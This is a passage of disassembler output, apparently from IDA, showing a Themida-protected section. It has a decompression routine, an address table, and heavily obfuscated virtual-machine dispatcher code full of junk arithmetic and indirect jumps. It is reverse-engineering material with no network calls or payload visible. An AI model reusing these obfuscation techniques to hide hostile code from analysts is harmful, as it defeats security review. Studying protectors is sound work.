; ---------------------------------------------------------------------------
		pusha
		mov	esi, [esp+24h]
		mov	edi, [esp+28h]
		cld
		mov	dl, 80h


loc_58A01E:				; CODE XREF: Themida_:loc_58A036j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_58A029:				; CODE XREF: Themida_:0058A0B4j
					; Themida_:0058A11Cj ...
		add	dl, dl
		jnz	loc_58A036
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58A036:				; CODE XREF: Themida_:0058A02Bj
		jnb	loc_58A01E
		add	dl, dl
		jnz	loc_58A049
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58A049:				; CODE XREF: Themida_:0058A03Ej
		jnb	loc_58A0B9
		xor	eax, eax
		add	dl, dl
		jnz	loc_58A05E
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58A05E:				; CODE XREF: Themida_:0058A053j
		jnb	loc_58A18E
		add	dl, dl
		jnz	loc_58A071
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58A071:				; CODE XREF: Themida_:0058A066j
		adc	eax, eax
		add	dl, dl
		jnz	loc_58A080
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58A080:				; CODE XREF: Themida_:0058A075j
		adc	eax, eax
		add	dl, dl
		jnz	loc_58A08F
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58A08F:				; CODE XREF: Themida_:0058A084j
		adc	eax, eax
		add	dl, dl
		jnz	loc_58A09E
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58A09E:				; CODE XREF: Themida_:0058A093j
		adc	eax, eax
		jz	loc_58A0AC
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_58A0AC:				; CODE XREF: Themida_:0058A0A0j
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	loc_58A029
; ---------------------------------------------------------------------------


loc_58A0B9:				; CODE XREF: Themida_:loc_58A049j
		mov	eax, 1


loc_58A0BE:				; CODE XREF: Themida_:loc_58A0DAj
		add	dl, dl
		jnz	loc_58A0CB
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58A0CB:				; CODE XREF: Themida_:0058A0C0j
		adc	eax, eax
		add	dl, dl
		jnz	loc_58A0DA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58A0DA:				; CODE XREF: Themida_:0058A0CFj
		jb	loc_58A0BE
		sub	eax, ebx
		mov	ebx, 1
		jnz	loc_58A121
		mov	ecx, 1


loc_58A0F2:				; CODE XREF: Themida_:loc_58A10Ej
		add	dl, dl
		jnz	loc_58A0FF
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58A0FF:				; CODE XREF: Themida_:0058A0F4j
		adc	ecx, ecx
		add	dl, dl
		jnz	loc_58A10E
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58A10E:				; CODE XREF: Themida_:0058A103j
		jb	loc_58A0F2
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_58A029
; ---------------------------------------------------------------------------


loc_58A121:				; CODE XREF: Themida_:0058A0E7j
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_58A12F:				; CODE XREF: Themida_:loc_58A14Bj
		add	dl, dl
		jnz	loc_58A13C
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58A13C:				; CODE XREF: Themida_:0058A131j
		adc	ecx, ecx
		add	dl, dl
		jnz	loc_58A14B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58A14B:				; CODE XREF: Themida_:0058A140j
		jb	loc_58A12F
		cmp	eax, 7D00h
		jnb	loc_58A17E
		cmp	eax, 500h
		jb	loc_58A175
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_58A029
; ---------------------------------------------------------------------------


loc_58A175:				; CODE XREF: Themida_:0058A161j
		cmp	eax, 7Fh
		ja	loc_58A181


loc_58A17E:				; CODE XREF: Themida_:0058A156j
		add	ecx, 2


loc_58A181:				; CODE XREF: Themida_:0058A178j
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_58A029
; ---------------------------------------------------------------------------


loc_58A18E:				; CODE XREF: Themida_:loc_58A05Ej
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	loc_58A1B3
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_58A029
; ---------------------------------------------------------------------------


loc_58A1B3:				; CODE XREF: Themida_:0058A196j
		sub	edi, [esp+28h]
		mov	[esp+1Ch], edi
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_58A1BF:				; CODE XREF: Themida_:0058A00Dj
		mov	edx, 929h
		jmp	loc_5AF21B
; ---------------------------------------------------------------------------
		dd offset byte_608001
		db 0F4h, 0FEh, 12h
		dd 60672900h, 6E001B00h, 6E002302h, 60800102h, 0FFFFFF00h
		dd 212FFh, 200h, 100h, 500h, 7524F200h,	0F5h, 4	dup(0)
		dd 5929DF00h, 5946F100h, 591EB000h, 5909FE00h, 58BEA000h
		dd 58DDCA00h, 58D42100h, 59392500h, 58BA4300h, 594DD400h
		dd 592ED200h, 593FB700h, 5966C700h, 58EA9300h, 59783200h
		dd 58C04000h, 59367E00h, 58E4BB00h, 58B0E600h, 58FFC700h
		dd 591D1500h, 58A8FC00h, 58F89600h, 59404D00h, 58E62100h
		dd 59274600h, 5974C800h, 58DC7A00h, 58B88500h, 59206300h
		dd 591AFF00h, 58EAE500h, 58C70200h, 5909D500h, 59364B00h
		dd 593C8700h, 593A4C00h, 591EA800h, 59342300h, 593A0400h
		dd 58EF3F00h, 58DD3200h, 59402F00h, 5953E600h, 5902C400h
		dd 58D55000h, 592FEB00h, 58FBF600h, 58F98E00h, 58EE5600h
		dd 58DDE300h, 596FAC00h, 59136000h, 58E58600h, 58B01500h
		dd 590F5100h, 590E4900h, 590E5200h, 59153100h, 58F97400h
		dd 59190400h, 5964C000h, 5962DB00h, 5965E600h, 594D5900h
		dd 59761E00h, 58E3A800h, 59060700h, 590BDF00h, 592AA000h
		dd 58CE1600h, 596DD800h, 58A63D00h, 5900F400h, 58E81B00h
		dd 594D5200h, 58B9C100h, 59345F00h, 58EE4700h, 58B07E00h
		dd 59327100h, 58FC0900h, 592D4200h, 58A7EB00h, 5900A600h
		dd 58CD7200h, 59383500h, 58FDD700h, 58D8F500h, 591A0500h
		dd 594C3E00h, 594D4900h, 58BD0B00h, 58A9EF00h, 5947B500h
		dd 58D95F00h, 5919A700h, 58BA8700h, 58E8D300h, 591CCD00h
		dd 59727300h, 5936D300h, 592C1900h, 58EBD400h, 595B6B00h
		dd 58FAAA00h, 593A9700h, 594CD500h, 590E6400h, 595ABD00h
		dd 596E4500h, 59201D00h, 5953C300h, 593FC700h, 58A78100h
		dd 592A2B00h, 5925BD00h, 58FED100h, 58DFD700h, 58AC0B00h
		dd 59681900h, 5911C900h, 59296900h, 58BDE600h, 5917DB00h
		dd 58B14700h, 58A57900h, 5905EA00h, 58ADFF00h, 58EDDE00h
		dd 59605D00h, 59164E00h, 58A77800h, 591D3800h, 58B87400h
		dd 59467F00h, 5964B800h, 58A55900h, 58A9F500h, 58B7EA00h
		dd 595A4100h, 5916EA00h, 58ED1E00h, 58C2EA00h, 58D69600h
		dd 58E27C00h, 58A6C600h, 58E65E00h, 596AD000h, 59170C00h
		dd 58DD9E00h, 59668900h, 5971C400h, 59490200h, 59280C00h
		dd 58FB6100h, 58AB2900h, 591D2900h, 58AD1400h, 59088600h
		dd 59688500h, 58F5DE00h, 59232400h, 59458900h, 59367800h
		dd 58CF1200h, 59494F00h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_58A4A9:				; CODE XREF: Themida_:005AF281j
					; Themida_:005AF28Bj ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 0AE37FBFh
		mov	eax, edi
		add	edi, 0AE37CD7h
		cmp	eax, [edi+2Ch]
		jnz	short loc_58A4C7
		jmp	short loc_58A4DA
; ---------------------------------------------------------------------------


loc_58A4C7:				; CODE XREF: sub_5F45E7-6A124j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_58A4D6
; ---------------------------------------------------------------------------


loc_58A4D1:				; CODE XREF: sub_5F45E7-6A10Fj
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_58A4D6:				; CODE XREF: sub_5F45E7-6A118j
		or	ecx, ecx
		jnz	short loc_58A4D1


loc_58A4DA:				; CODE XREF: sub_5F45E7-6A122j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_58A4E7:				; CODE XREF: sub_5F45E7-6A0F9j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_58A4E7


loc_58A4F0:				; CODE XREF: Themida_:0058A648j
					; Themida_:0058A6C9j ...
		lodsb
		xor	al, bl
		sub	esp, 2
		mov	word ptr [esp+28h+var_28], bx
		mov	bl, 0C4h
		sub	esp, 4
		mov	[esp+2Ch+var_2C], ecx
		mov	ch, 0D8h
		jmp	loc_58B77F
; END OF FUNCTION CHUNK	FOR sub_5F45E7

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_58A50F	proc near		; CODE XREF: sub_596082:loc_5906C3j
					; sub_58E66C+84DFj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058B4AD SIZE 0000003E BYTES
; FUNCTION CHUNK AT 0058C091 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0058C2CC SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058C8F4 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0058E38B SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0059069C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059168B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00592AAB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00594610 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005974FF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059781A SIZE 00000018 BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_58C8F4
sub_58A50F	endp

; ---------------------------------------------------------------------------


loc_58A517:				; CODE XREF: Themida_:0058D515j
		add	edi, 4
		jmp	loc_591DC2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E91C


loc_58A522:				; CODE XREF: sub_58E91C+1D1Cj
		push	[esp+arg_0]
		pop	edi
		pop	dword ptr [esp+0]
		mov	esp, [esp-4+arg_0]
		jmp	loc_58D489
; END OF FUNCTION CHUNK	FOR sub_58E91C
; ---------------------------------------------------------------------------


loc_58A532:				; CODE XREF: Themida_:0059190Dj
		push	6578h
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_591096
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E91C


loc_58A541:				; CODE XREF: sub_58E91C+D6Aj
		inc	ecx
		or	ecx, 5E43F3Ah
		xor	ecx, 533333A8h
		sub	ecx, 57242134h
		jmp	loc_58F8E9
; END OF FUNCTION CHUNK	FOR sub_58E91C
; ---------------------------------------------------------------------------
		push	71Fh
		mov	[esp], edx
		mov	edx, 68066793h
		shl	edx, 4
		jmp	loc_58B63A
; ---------------------------------------------------------------------------


loc_58A56E:				; CODE XREF: Themida_:0058C77Ej
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_594EE8
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_58E6EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_58A581:				; CODE XREF: sub_5F45E7-6112Ej
		xor	cl, 6Fh
		jp	sub_58EE27
		sub	esp, 4
		jmp	loc_591862
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596FD2


loc_58A595:				; CODE XREF: sub_596FD2-59BAj
		neg	edi
		jmp	loc_594EF0
; END OF FUNCTION CHUNK	FOR sub_596FD2
; ---------------------------------------------------------------------------


loc_58A59C:				; CODE XREF: Themida_:005924B0j
		add	ecx, 47280CC4h
		push	ecx
		dec	dword ptr [esp]
		pop	ecx
		inc	ecx
		shr	ecx, 3
		jmp	loc_592416
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58A5B0:				; CODE XREF: sub_596082-3AE3j
		inc	bl
		push	eax
		mov	al, 0F3h
		sub	bl, al
		jmp	loc_595DC9
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58A5BC:				; CODE XREF: Themida_:0059337Dj
		add	ebx, 4
		jmp	loc_597290
; ---------------------------------------------------------------------------


loc_58A5C4:				; CODE XREF: Themida_:00595FFCj
		shl	edx, 2
		shl	edx, 2
		jmp	loc_594C85
; ---------------------------------------------------------------------------


loc_58A5CF:				; CODE XREF: Themida_:00592BDEj
		and	ecx, 13660F80h
		sub	ecx, 82E2A61h
		xor	ecx, 73664603h
		jmp	loc_595944
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5902CA


loc_58A5E6:				; CODE XREF: sub_5902CA+70CFj
		add	esp, 2
		movzx	eax, ax
		push	eax
		mov	eax, esp
		jmp	loc_58D616
; END OF FUNCTION CHUNK	FOR sub_5902CA

; =============== S U B	R O U T	I N E =======================================



sub_58A5F7	proc near		; CODE XREF: sub_5953D2+538j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0058A914 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058B609 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058D05A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058D6DC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058F1E4 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058F3EE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059039E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059070D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00591050 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00593A44 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005954D2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059621D SIZE 0000000C BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		mov	ebx, 8D1DF59Ah
		jmp	loc_58D6DC
sub_58A5F7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B09E


loc_58A60A:				; CODE XREF: sub_58B09E+8F8Cj
		and	ebx, ecx
		pop	ecx
		jmp	loc_59391A
; END OF FUNCTION CHUNK	FOR sub_58B09E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58A612:				; CODE XREF: sub_596082-8C66j
		push	esi
		jmp	loc_592F6F
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58A618:				; CODE XREF: Themida_:0059227Aj
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_590725
; ---------------------------------------------------------------------------


loc_58A626:				; CODE XREF: Themida_:0058B1AAj
		add	edx, 6B2F44DFh
		sub	eax, 298B45C4h
		add	eax, 26286E49h
		add	eax, edx
		jmp	loc_58F924
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	word ptr [esp],	cl
		pushf
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------


loc_58A64D:				; CODE XREF: Themida_:005902B1j
		xchg	eax, edx
		not	eax
		xchg	eax, edx
		jmp	loc_58D118
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_58A656:				; CODE XREF: sub_58F160+6EB7j
		add	ch, ah
		pop	eax
		jmp	loc_593DC2
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------


loc_58A65E:				; CODE XREF: Themida_:0058DECEj
		sub	dword ptr [esp+4], 163C76F0h
		sub	dword ptr [esp+4], 7767202Bh
		jmp	loc_594A50
; ---------------------------------------------------------------------------


loc_58A673:				; CODE XREF: Themida_:005976C5j
		add	esp, 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_593299
; ---------------------------------------------------------------------------


loc_58A699:				; CODE XREF: Themida_:00592327j
		push	dword ptr [esp]
		jmp	loc_58C85E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_58A6A1:				; CODE XREF: sub_5F45E7-6197Fj
		sub	al, 5
		add	cl, al
		pop	eax
		inc	cl
		jg	loc_58F02A
		jmp	loc_5921C5
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------


loc_58A6B3:				; CODE XREF: Themida_:005930CAj
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_592C11
; ---------------------------------------------------------------------------
		pop	small word ptr [edx]
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E049


loc_58A6CE:				; CODE XREF: sub_58E049+69B2j
		push	5D1Ch
		mov	[esp+8+var_8], edx
		mov	eax, [esp+8+var_8]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	7204h
		mov	[esp+10h+var_10], ebp
		push	2926h
		mov	[esp+14h+var_14], ebx
		jmp	loc_58DFB2
; END OF FUNCTION CHUNK	FOR sub_58E049
; ---------------------------------------------------------------------------


loc_58A6F7:				; CODE XREF: Themida_:0058ECBDj
		mov	esp, [esp]
		mov	cx, [esp]
		push	5971h
		jmp	loc_58E004
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58A708:				; CODE XREF: sub_596082-3AAEj
					; sub_591C99+56D7j
		push	esi
		mov	esi, 0FFFFFFFFh
		add	ebx, esi
		pop	esi
		shr	ebx, 8
		jmp	sub_5941CE
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58A719:				; CODE XREF: Themida_:005973C7j
		sub	edx, 220C999Bh
		jmp	loc_591500
; ---------------------------------------------------------------------------


loc_58A724:				; CODE XREF: Themida_:005959ABj
		sub	ax, 212Bh
		jmp	loc_594043
; ---------------------------------------------------------------------------


loc_58A72D:				; CODE XREF: Themida_:0058D1F2j
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------


loc_58A732:				; CODE XREF: Themida_:0059384Cj
		pop	esi
		add	eax, 2424D1E5h
		xor	ebp, eax
		pop	eax
		xor	ebp, 180A4D16h
		sub	ebx, 4147341Ch
		add	ebx, ebp
		add	ebx, 4147341Ch
		pop	ebp
		jmp	loc_58EE0E
; ---------------------------------------------------------------------------


loc_58A755:				; CODE XREF: Themida_:0058CA40j
		mov	[esp], ebp
		push	38h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		jmp	loc_58C6CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58A76C:				; CODE XREF: sub_596082-936j
		mov	edx, 2C893B91h
		add	ebp, edx
		jmp	loc_5966A5
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_5965B4
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	word ptr [esp],	cl
		pushf
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596498


loc_58A791:				; CODE XREF: sub_596498-5830j
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		mov	eax, [esp-4+arg_0]
		push	ebx
		mov	ebx, esp
		push	121Eh
		mov	[esp+4+var_4], esi
		jmp	loc_58B9CA
; END OF FUNCTION CHUNK	FOR sub_596498
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58A7AD:				; CODE XREF: sub_596082-282Bj
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58A7B2:				; CODE XREF: Themida_:0058BA38j
					; Themida_:00593460j
		add	esi, 5FCC480Ah
		push	ecx
		push	ebp
		mov	ebp, 7DB86B39h
		mov	ecx, ebp
		pop	ebp
		sub	esi, ecx
		jmp	loc_59065C
; ---------------------------------------------------------------------------


loc_58A7C9:				; CODE XREF: Themida_:00591730j
		add	edi, 4
		add	edi, 4
		jmp	loc_58BD9E

; =============== S U B	R O U T	I N E =======================================



sub_58A7D7	proc near		; CODE XREF: sub_58F160-63Dj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0058FE22 SIZE 00000023 BYTES

		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		sub	ebx, 4
		jmp	loc_58FE22
sub_58A7D7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_5910AE
; ---------------------------------------------------------------------------


loc_58A7F4:				; CODE XREF: Themida_:00594FB0j
		pop	eax
		sub	eax, 5FB162BCh
		jmp	loc_58BF7F
; ---------------------------------------------------------------------------


loc_58A7FF:				; CODE XREF: Themida_:00595E3Aj
		add	ebx, 44A71209h
		add	ebx, edi
		jmp	loc_58AE2C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_58A80C:				; CODE XREF: sub_593009-A51j
		pop	ebx
		xor	edx, [esp-4+arg_0]
		xor	[esp-4+arg_0], edx
		jmp	loc_58B205
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------


loc_58A818:				; CODE XREF: Themida_:0058BCDEj
		mov	ch, 0C9h
		push	edx
		mov	dl, 46h
		dec	dl
		sub	dl, 8Eh
		sub	ch, dl
		mov	edx, [esp]
		jmp	loc_58D337
; ---------------------------------------------------------------------------


loc_58A82C:				; CODE XREF: Themida_:005905B7j
		pop	edx
		add	edx, 41353AE0h
		add	edx, ebp
		sub	edx, 41353AE0h
		pop	ebp
		add	edx, 2
		jmp	loc_5958D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_58A844:				; CODE XREF: sub_593009+5A1j
		neg	eax
		jnp	loc_5972F3
		jmp	loc_595AF0
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------


loc_58A851:				; CODE XREF: Themida_:005905DDj
		pop	ecx
		sub	edi, 0B49C29CDh
		jmp	loc_5923A1
; ---------------------------------------------------------------------------


loc_58A85D:				; CODE XREF: Themida_:0058C8E3j
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 227C7529h
		add	esi, 4B8C4DF5h
		sub	esi, 7AE96AECh
		push	edx
		mov	edx, 2C25454h
		jmp	loc_597318
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C878


loc_58A886:				; CODE XREF: sub_58E66C-3354j
					; sub_58C878+2645j
		pop	ecx
		push	bx
		push	eax
		mov	ah, 8Ch
		shl	ah, 2
		js	loc_592405
		or	ah, 0B3h
		jp	loc_591BB7
		add	ah, 6Ah
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		push	ecx
		jmp	loc_59644E
; END OF FUNCTION CHUNK	FOR sub_58C878
; ---------------------------------------------------------------------------


loc_58A8AE:				; CODE XREF: Themida_:0058AFD9j
					; Themida_:005923C7j
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		push	ecx
		push	4A9Bh
		mov	[esp], edx
		push	4FD8184Fh
		pop	edx
		xor	edx, 156D56ECh
		jmp	loc_5972F3
; ---------------------------------------------------------------------------


loc_58A8D1:				; CODE XREF: Themida_:0059427Aj
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_58E7E9
; ---------------------------------------------------------------------------


loc_58A8E3:				; CODE XREF: Themida_:0058D8CEj
		mov	edx, esp
		push	3D6Bh
		mov	[esp], ecx
		push	ebp
		push	eax
		mov	eax, 7B596C27h
		mov	ebp, eax
		pop	eax
		jmp	loc_595CDF
; ---------------------------------------------------------------------------
		lodsd
		push	edx
		jmp	loc_58B19F
; ---------------------------------------------------------------------------


loc_58A903:				; CODE XREF: Themida_:00592C43j
		push	ebp
		mov	ebp, 12FC59D8h
		xor	ebp, 12FC59DCh
		jmp	loc_58EDEA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A5F7


loc_58A914:				; CODE XREF: sub_58A5F7+6A6Dj
		sub	edi, 7476264Eh
		jmp	loc_58F3EE
; END OF FUNCTION CHUNK	FOR sub_58A5F7
; ---------------------------------------------------------------------------


loc_58A91F:				; CODE XREF: Themida_:00595E91j
		pop	ebx
		jmp	loc_5923AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58A925:				; CODE XREF: sub_596082-9FCDj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+8+var_8]
		pop	esp
		xchg	ecx, [esp+4+var_4]
		pop	esp
		movzx	cx, al
		push	4309h
		mov	[esp+4+var_4], ecx
		push	1662h
		jmp	loc_595E0B
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_58A94F:				; CODE XREF: sub_593009-32B6j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp-4+arg_0]
		pop	esp
		sub	esp, 4
		mov	[esp-4+arg_0], ebp
		push	1
		mov	ebp, [esp+0]
		push	4CB1h
		mov	[esp+4+var_4], ebp
		mov	ebp, esp
		jmp	loc_58F4C5
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------


loc_58A97B:				; CODE XREF: Themida_:0058D4BEj
		push	eax
		mov	eax, 24B152D9h
		mov	edi, 0DB4EAD2Bh
		add	edi, eax
		pop	eax
		add	eax, edi
		pop	edi
		sub	eax, 4
		jmp	loc_58F094
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58A994:				; CODE XREF: sub_596082-4435j
		mov	edi, 2CB9240Eh
		not	edi
		not	edi
		not	edi
		sub	edi, 2FDC0F35h
		jmp	loc_58C5C0
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5967D4


loc_58A9AA:				; CODE XREF: sub_5967D4+Bj
		sub	ebx, 29A7068Dh
		neg	ebx
		not	ebx
		jmp	loc_5903CF
; END OF FUNCTION CHUNK	FOR sub_5967D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58A9B9:				; CODE XREF: sub_58E66C-16F6j
		push	9DCh
		mov	[esp+4+var_4], edx
		mov	edx, esp
		jmp	loc_597569
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_58A9C8:				; CODE XREF: sub_58F160+28j
		pop	edi
		inc	ebp
		jle	loc_58F436
		sub	ebp, 0F0020CCh
		mov	edi, ebp
		jmp	loc_590FB8
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------


loc_58A9DD:				; CODE XREF: Themida_:0058C4DDj
		pop	edi
		push	esi
		jmp	loc_5955FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D2AA


loc_58A9E4:				; CODE XREF: sub_58D2AA+9j
		xor	ebp, 161F3A0Ah
		jmp	loc_591F95
; END OF FUNCTION CHUNK	FOR sub_58D2AA
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_5913FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58A9F5:				; CODE XREF: sub_596082-5855j
		push	[esp+8+var_8]
		pop	ecx
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	ecx
		mov	ecx, 4
		add	ebx, 477A22B5h
		jmp	loc_592751
; ---------------------------------------------------------------------------


loc_58AA13:				; CODE XREF: sub_596082+15C9j
		mov	ebx, 13A97569h
		xor	ebx, 13A9756Dh
		jmp	loc_5921BE
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58AA23:				; CODE XREF: sub_58E66C+84FEj
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D250


loc_58AA28:				; CODE XREF: sub_58D250+89F4j
		add	esi, 4
		xchg	esi, [esp+0]
		mov	esp, [esp+0]
		push	ecx
		push	587D69E7h
		pop	ecx
		xor	ecx, 333C1663h
		sub	esp, 4
		mov	[esp+4+var_4], edx
		push	0FFFFFFFFh
		pop	edx
		add	ecx, edx
		jmp	loc_5918EE
; END OF FUNCTION CHUNK	FOR sub_58D250
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_58AA54:				; CODE XREF: sub_58F160+4567j
		xor	cl, dh
		pop	edx
		xor	al, cl
		mov	cx, word ptr [esp-0Ch+arg_8]
